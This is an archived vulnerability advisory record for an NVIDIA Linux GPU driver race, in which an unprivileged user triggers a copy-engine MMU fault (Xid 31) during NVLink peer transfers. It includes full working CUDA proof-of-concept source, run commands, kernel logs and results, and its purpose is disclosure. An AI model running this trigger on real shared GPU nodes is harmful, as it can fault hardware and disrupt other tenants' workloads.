"dateUpdated": "2026-09-09T10:10:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0082"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0083
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:10
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)
Summary
NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault
during an NVLink peer transfer
==================================================================================================
An unprivileged local user with no GPU group, no admin group and no
capabilities, using only the driver's default 0666 /dev/nvidia*
permissions and public CUDA Runtime APIs, deterministically causes a
PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer
transfer. The captured Xid names one PCI device, 0000:01:00 - it is
not evidence that both GPUs of the pair entered a faulted state, and
no such claim is made here. The trigger is a race: call
cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still
in flight on the peer path. Reproduced 5/5 with PID attribution to the
triggering process, against 4/4 clean negative controls. NVIDIA
reviewed the report and determined this is intended behavior and not a
bug.
Affected: NVIDIA Linux GPU driver, CUDA peer-access path on
NVLink-connected GPUs
Tested: 595.71.05-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2
CWE: CWE-362 (race condition) for the mechanism; CWE-276
(incorrect default permissions) as the access precondition
Status: Closed by NVIDIA as Not Applicable, 2026-08-04, on the
grounds that it is intended behavior. No fix.
CVE: none assigned
Ref: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071
Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry
via NVML" - same node, same driver, same 0666 precondition
Read the "Unmeasured Question" section before drawing conclusions
about severity. The single measurement that separates a self-contained
fault from a cross-tenant denial of service is one I did not capture,
and I am not claiming it.
Observed Mechanism
------------------
cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can
address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA
on a copy engine that walks that mapping.
cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces
the outstanding DMA to drain first. The Xid line names FAULT_PDE on
CE4, consistent with the copy engine dereferencing a page directory
entry that has just been unmapped - an inference from the fault type
and engine, not a claim about driver internals.
GPU a (holds peer mapping) GPU b (peer)
+----------------------------------+
+---------------------------+
| cudaSetDevice(a) | |
cudaMalloc(src) |
| cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping
installed |
| cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4
=====> |
| cudaDeviceDisablePeerAccess(b) | |
|
| ^ | |
|
| +-- PDE torn down while CE4 is still walking it
|
+----------------------------------+
+---------------------------+
|
v
CE4 dereferences an unmapped PDE -> FAULT_PDE
ACCESS_TYPE_VIRT_READ
|
v
Xid 31, PID-attributed to the caller
The negative control synchronizes every copy before teardown, so no
DMA is outstanding when the mapping is removed. Approximately 9,000
synchronized cycles per run across four negative controls - roughly
36,000 cycles total - produced zero Xid. That isolates the
in-flight-copy-versus-teardown race as the cause rather than peer
access itself.
Attacker Prerequisites
----------------------
A shell account on the node, and the driver's own default device permissions:
# grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438 # 0666 octal
The trigger user for all captured runs was uid 1011, in no GPU group,
with an empty effective capability set.
Proof of Concept
----------------
Full PoC code, the instrumented trigger, the canary ladder and raw
evidence for both findings:
<https://github.com/abhinavagarwal07/nvidia-gpu-security-poc>
--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,
containers, schedulers and MIG all remap these, so pin them to the
intended physical pair.
/* nvlink_p2p_cycle.cu
* build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu
* pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 1 --dur 30
* neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 0 --dur 30
* (the captured runs used --dur 30)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <cuda_runtime.h>
/* peer enable/disable and the async copies are EXPECTED to return
errors once the
* pair starts faulting; swallow them so the loop keeps racing. */
#define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)
#define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \
fprintf(stderr,"%s:%d
%s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)
static double now_s(void){ struct timespec t;
clock_gettime(CLOCK_MONOTONIC,&t);
return t.tv_sec + t.tv_nsec/1e9; }
int main(int argc,char**argv){
int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;
for(int i=1;i<argc;i++){
if(!strcmp(argv[i],"--a")&&i+1<argc) a=atoi(argv[++i]);
else if(!strcmp(argv[i],"--p")&&i+1<argc) p=atoi(argv[++i]);
else if(!strcmp(argv[i],"--dur")&&i+1<argc) dur=atof(argv[++i]);
else if(!strcmp(argv[i],"--mb")&&i+1<argc) mb=atoi(argv[++i]);
else if(!strcmp(argv[i],"--streams")&&i+1<argc)
nstream=atoi(argv[++i]);
else if(!strcmp(argv[i],"--inflight")&&i+1<argc)
inflight=atoi(argv[++i]);
}
size_t bytes=(size_t)mb*1024*1024;
printf("pid=%d\n",(int)getpid()); /* PID attribution is the
central claim */
int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p));
if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; }
/* source buffer lives on the peer; destinations and streams on
the local device */
CHECK(cudaSetDevice(p));
void *src; CHECK(cudaMalloc(&src,bytes));
CHECK(cudaMemset(src,0xCD,bytes));
CHECK(cudaSetDevice(a));
void **dst = (void**)malloc(nstream*sizeof(void*));
cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));
for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes));
CHECK(cudaStreamCreate(&st[s])); }
double t0=now_s(); unsigned long long cyc=0;
while(now_s()-t0 < dur){
SOFT(cudaDeviceEnablePeerAccess(p,0));
/* install peer mapping */
for(int s=0;s<nstream;s++)
SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));
/* 4 x 64MiB async on CE */
if(!inflight)
for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]);
/* negative control only */
SOFT(cudaDeviceDisablePeerAccess(p));
/* tear down mid-DMA */
cyc++;
}
printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0);
return 0;
}
Four 64 MiB copies across four streams keeps enough DMA outstanding
that the teardown lands inside the transfer window on essentially
every cycle.
Before running, confirm the two ordinals really are NVLink-connected -
cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not
tested here:
nvidia-smi topo -m # expect NV<n> between the chosen
GPUs, not PHB/SYS
nvidia-smi -L
Watch the kernel log. This needs root, or kernel.dmesg_restrict=0:
dmesg -w | grep -i xid
If no Xid appears within about 30 seconds, raise --mb and --streams
until the teardown reliably lands inside the transfer window.
-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.
DO NOT RESET YET. Resetting here destroys the only evidence that
matters - it is exactly the mistake my own harness made, and it is why
the central question in this post is unanswered. The required order
is:
trigger -> kill -9 the trigger -> canary as a DIFFERENT
unprivileged UID, before any reset
-> reset ONLY if that canary fails
Read state without clearing it:
nvidia-smi -q | grep -i "GPU Recovery Action"
Only after the pre-reset canary has been run and recorded:
nvidia-smi --gpu-reset -i <a>,<b> # requires no processes
attached to those GPUs
Positive run (--inflight 1), captured verbatim:
[Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,
pid=6507, name=nvlink_p2p_cycl,
channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4
HUBCLIENT_HSCE0 faulted @
0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ
Negative control (--inflight 0), approximately 9,000 synchronized cycles:
NONE
Machine-scored verdict for the same positive run:
{ "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive",
"trigger_user": "victimuser", "physical_gpu_pair": ["0","1"],
"inflight": 1,
"xid_seen_during_run": 1, "trigger_launch_pids": ["6507"],
"xid_line_pids": ["6507"],
"verdict": "PASS",
"criteria": { "fresh_xid31": true, "pid_match": true,
"xid154_or_175": false,
"unprivileged_user": true, "survived_first_sigkill": false,
"held_gpu_memory": true, "ecc_clean_post": true } }
pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.
Results
-------
Run Kind Pair inflight Fresh Xid 31 PID-matched Xid
154/175 Held GPU mem ECC clean
------- --------- ----- --------- ------------- ------------
------------ ---------------- ---------
pos-01 positive 0,1 1 yes yes no
672+480 MiB yes
pos-02 positive 0,1 1 yes yes no
672+480 MiB yes
pos-03 positive 0,1 1 yes yes no
672+480 MiB yes
pos-04 positive 0,1 1 yes yes no
672+480 MiB yes
pos-05 positive 0,1 1 yes yes no
672+480 MiB yes
neg-01 negative 0,1 0 no - no
- yes
neg-02 negative 0,1 0 no - no
- yes
neg-03 negative 0,1 0 no - no
- yes
neg-04 negative 0,1 0 no - no
- yes
Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically
for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it
as a boolean for pos-02..05. Those numbers are derivable from the
trigger's own allocations - four 64 MiB destination buffers plus a
~416 MiB CUDA context on the local device, 64 MiB source plus the same
context on the peer - which is what rules out random corruption.
Post-reset aggregate uncorrectable ECC totals were zero in every run -
a fault, not hardware damage. The trigger process dies on the first
SIGKILL.
The fault was also reachable on all six local NVLink pairs, one pass each.
The Unmeasured Question
-----------------------
Whether the faulted copy-engine / UVM context clears when the process
dies, or whether the pair stays unusable to a fresh process until a
privileged nvidia-smi --gpu-reset, was not measured.
The harness ran --gpu-reset reflexively immediately after killing the
trigger, destroying the evidence for its own most important question.
The test node was deprovisioned before the run could be repeated with
a health probe in the gap.
Four indicators, three of them NVIDIA's own, point toward self-clearing:
- NVIDIA's Xid
Severity
No CVSS data available.
Assigner
References
15 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nvidia | NVIDIA Linux GPU |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "NVIDIA Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault\nduring an NVLink peer transfer\n==================================================================================================\n\nAn unprivileged local user with no GPU group, no admin group and no\ncapabilities, using only the driver\u0027s default 0666 /dev/nvidia*\npermissions and public CUDA Runtime APIs, deterministically causes a\nPID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer\ntransfer. The captured Xid names one PCI device, 0000:01:00 - it is\nnot evidence that both GPUs of the pair entered a faulted state, and\nno such claim is made here. The trigger is a race: call\ncudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still\nin flight on the peer path. Reproduced 5/5 with PID attribution to the\ntriggering process, against 4/4 clean negative controls. NVIDIA\nreviewed the report and determined this is intended behavior and not a\nbug.\n\nAffected: NVIDIA Linux GPU driver, CUDA peer-access path on\nNVLink-connected GPUs\nTested: 595.71.05-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2\nCWE: CWE-362 (race condition) for the mechanism; CWE-276\n(incorrect default permissions) as the access precondition\nStatus: Closed by NVIDIA as Not Applicable, 2026-08-04, on the\ngrounds that it is intended behavior. No fix.\nCVE: none assigned\nRef: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071\nCompanion: \"NVIDIA Linux GPU driver: cross-UID GPU process telemetry\nvia NVML\" - same node, same driver, same 0666 precondition\n\nRead the \"Unmeasured Question\" section before drawing conclusions\nabout severity. The single measurement that separates a self-contained\nfault from a cross-tenant denial of service is one I did not capture,\nand I am not claiming it.\n\n\nObserved Mechanism\n------------------\n\ncudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can\naddress GPU b\u0027s memory over NVLink. cudaMemcpyPeerAsync() queues a DMA\non a copy engine that walks that mapping.\ncudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces\nthe outstanding DMA to drain first. The Xid line names FAULT_PDE on\nCE4, consistent with the copy engine dereferencing a page directory\nentry that has just been unmapped - an inference from the fault type\nand engine, not a claim about driver internals.\n\n GPU a (holds peer mapping) GPU b (peer)\n +----------------------------------+\n+---------------------------+\n | cudaSetDevice(a) | |\ncudaMalloc(src) |\n | cudaDeviceEnablePeerAccess(b) ------ NVLink ---\u003e | peer mapping\ninstalled |\n | cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4\n=====\u003e |\n | cudaDeviceDisablePeerAccess(b) | |\n |\n | ^ | |\n |\n | +-- PDE torn down while CE4 is still walking it\n |\n +----------------------------------+\n+---------------------------+\n |\n v\n CE4 dereferences an unmapped PDE -\u003e FAULT_PDE\nACCESS_TYPE_VIRT_READ\n |\n v\n Xid 31, PID-attributed to the caller\n\nThe negative control synchronizes every copy before teardown, so no\nDMA is outstanding when the mapping is removed. Approximately 9,000\nsynchronized cycles per run across four negative controls - roughly\n36,000 cycles total - produced zero Xid. That isolates the\nin-flight-copy-versus-teardown race as the cause rather than peer\naccess itself.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node, and the driver\u0027s own default device permissions:\n\n # grep -E \u0027ModifyDeviceFiles|DeviceFileMode\u0027 /proc/driver/nvidia/params\n ModifyDeviceFiles: 1\n DeviceFileMode: 438 # 0666 octal\n\nThe trigger user for all captured runs was uid 1011, in no GPU group,\nwith an empty effective capability set.\n\n\nProof of Concept\n----------------\n\nFull PoC code, the instrumented trigger, the canary ladder and raw\nevidence for both findings:\n\u003chttps://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u003e\n\n--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,\ncontainers, schedulers and MIG all remap these, so pin them to the\nintended physical pair.\n\n /* nvlink_p2p_cycle.cu\n * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu\n * pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 1 --dur 30\n * neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 0 --dur 30\n * (the captured runs used --dur 30)\n */\n #include \u003cstdio.h\u003e\n #include \u003cstdlib.h\u003e\n #include \u003cstring.h\u003e\n #include \u003ctime.h\u003e\n #include \u003cunistd.h\u003e\n #include \u003ccuda_runtime.h\u003e\n\n /* peer enable/disable and the async copies are EXPECTED to return\nerrors once the\n * pair starts faulting; swallow them so the loop keeps racing. */\n #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)\n #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \\\n fprintf(stderr,\"%s:%d\n%s\\n\",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)\n\n static double now_s(void){ struct timespec t;\nclock_gettime(CLOCK_MONOTONIC,\u0026t);\n return t.tv_sec + t.tv_nsec/1e9; }\n\n int main(int argc,char**argv){\n int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;\n for(int i=1;i\u003cargc;i++){\n if(!strcmp(argv[i],\"--a\")\u0026\u0026i+1\u003cargc) a=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--p\")\u0026\u0026i+1\u003cargc) p=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--dur\")\u0026\u0026i+1\u003cargc) dur=atof(argv[++i]);\n else if(!strcmp(argv[i],\"--mb\")\u0026\u0026i+1\u003cargc) mb=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--streams\")\u0026\u0026i+1\u003cargc)\nnstream=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--inflight\")\u0026\u0026i+1\u003cargc)\ninflight=atoi(argv[++i]);\n }\n size_t bytes=(size_t)mb*1024*1024;\n printf(\"pid=%d\\n\",(int)getpid()); /* PID attribution is the\ncentral claim */\n\n int can=0; CHECK(cudaDeviceCanAccessPeer(\u0026can,a,p));\n if(!can){ fprintf(stderr,\"no p2p %d\u003c-\u003e%d\\n\",a,p); return 2; }\n\n /* source buffer lives on the peer; destinations and streams on\nthe local device */\n CHECK(cudaSetDevice(p));\n void *src; CHECK(cudaMalloc(\u0026src,bytes));\nCHECK(cudaMemset(src,0xCD,bytes));\n CHECK(cudaSetDevice(a));\n void **dst = (void**)malloc(nstream*sizeof(void*));\n cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));\n for(int s=0;s\u003cnstream;s++){ CHECK(cudaMalloc(\u0026dst[s],bytes));\nCHECK(cudaStreamCreate(\u0026st[s])); }\n\n double t0=now_s(); unsigned long long cyc=0;\n while(now_s()-t0 \u003c dur){\n SOFT(cudaDeviceEnablePeerAccess(p,0));\n/* install peer mapping */\n for(int s=0;s\u003cnstream;s++)\n SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));\n/* 4 x 64MiB async on CE */\n if(!inflight)\n for(int s=0;s\u003cnstream;s++) cudaStreamSynchronize(st[s]);\n/* negative control only */\n SOFT(cudaDeviceDisablePeerAccess(p));\n/* tear down mid-DMA */\n cyc++;\n }\n printf(\"done: %llu cycles in %.1fs\\n\", cyc, now_s()-t0);\n return 0;\n }\n\nFour 64 MiB copies across four streams keeps enough DMA outstanding\nthat the teardown lands inside the transfer window on essentially\nevery cycle.\n\nBefore running, confirm the two ordinals really are NVLink-connected -\ncudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not\ntested here:\n\n nvidia-smi topo -m # expect NV\u003cn\u003e between the chosen\nGPUs, not PHB/SYS\n nvidia-smi -L\n\nWatch the kernel log. This needs root, or kernel.dmesg_restrict=0:\n\n dmesg -w | grep -i xid\n\nIf no Xid appears within about 30 seconds, raise --mb and --streams\nuntil the teardown reliably lands inside the transfer window.\n-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.\n\nDO NOT RESET YET. Resetting here destroys the only evidence that\nmatters - it is exactly the mistake my own harness made, and it is why\nthe central question in this post is unanswered. The required order\nis:\n\n trigger -\u003e kill -9 the trigger -\u003e canary as a DIFFERENT\nunprivileged UID, before any reset\n -\u003e reset ONLY if that canary fails\n\nRead state without clearing it:\n\n nvidia-smi -q | grep -i \"GPU Recovery Action\"\n\nOnly after the pre-reset canary has been run and recorded:\n\n nvidia-smi --gpu-reset -i \u003ca\u003e,\u003cb\u003e # requires no processes\nattached to those GPUs\n\nPositive run (--inflight 1), captured verbatim:\n\n [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,\npid=6507, name=nvlink_p2p_cycl,\n channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4\nHUBCLIENT_HSCE0 faulted @\n 0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ\n\nNegative control (--inflight 0), approximately 9,000 synchronized cycles:\n\n NONE\n\nMachine-scored verdict for the same positive run:\n\n { \"poc\": \"F5b-Xid31-unprivileged-P2P-disable-race\", \"kind\": \"positive\",\n \"trigger_user\": \"victimuser\", \"physical_gpu_pair\": [\"0\",\"1\"],\n\"inflight\": 1,\n \"xid_seen_during_run\": 1, \"trigger_launch_pids\": [\"6507\"],\n\"xid_line_pids\": [\"6507\"],\n \"verdict\": \"PASS\",\n \"criteria\": { \"fresh_xid31\": true, \"pid_match\": true,\n\"xid154_or_175\": false,\n \"unprivileged_user\": true, \"survived_first_sigkill\": false,\n \"held_gpu_memory\": true, \"ecc_clean_post\": true } }\n\npos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.\n\n\nResults\n-------\n\n Run Kind Pair inflight Fresh Xid 31 PID-matched Xid\n154/175 Held GPU mem ECC clean\n ------- --------- ----- --------- ------------- ------------\n------------ ---------------- ---------\n pos-01 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-02 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-03 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-04 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-05 positive 0,1 1 yes yes no\n 672+480 MiB yes\n neg-01 negative 0,1 0 no - no\n - yes\n neg-02 negative 0,1 0 no - no\n - yes\n neg-03 negative 0,1 0 no - no\n - yes\n neg-04 negative 0,1 0 no - no\n - yes\n\nPositives 5/5, negatives 4/4. Held GPU memory was recorded numerically\nfor pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it\nas a boolean for pos-02..05. Those numbers are derivable from the\ntrigger\u0027s own allocations - four 64 MiB destination buffers plus a\n~416 MiB CUDA context on the local device, 64 MiB source plus the same\ncontext on the peer - which is what rules out random corruption.\nPost-reset aggregate uncorrectable ECC totals were zero in every run -\na fault, not hardware damage. The trigger process dies on the first\nSIGKILL.\n\nThe fault was also reachable on all six local NVLink pairs, one pass each.\n\n\nThe Unmeasured Question\n-----------------------\n\nWhether the faulted copy-engine / UVM context clears when the process\ndies, or whether the pair stays unusable to a fresh process until a\nprivileged nvidia-smi --gpu-reset, was not measured.\n\nThe harness ran --gpu-reset reflexively immediately after killing the\ntrigger, destroying the evidence for its own most important question.\nThe test node was deprovisioned before the run could be repeated with\na health probe in the gap.\n\nFour indicators, three of them NVIDIA\u0027s own, point toward self-clearing:\n\n - NVIDIA\u0027s Xid"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-362",
"description": "CWE-362",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:23Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/78"
},
{
"url": "https://abhinavagarwal07.github.io"
},
{
"url": "https://arxiv.org/html/2503.11901v3"
},
{
"url": "https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html"
},
{
"url": "https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/index.html"
},
{
"url": "https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go"
},
{
"url": "https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/78"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0083",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78",
"automated": true,
"contentSha256": "d9b7f5d4e360248ee44af2a3660b4178ae6c8eeb4d85b362cbf49126837f61cf",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/78",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:43:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-09T10:10:23Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0083"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}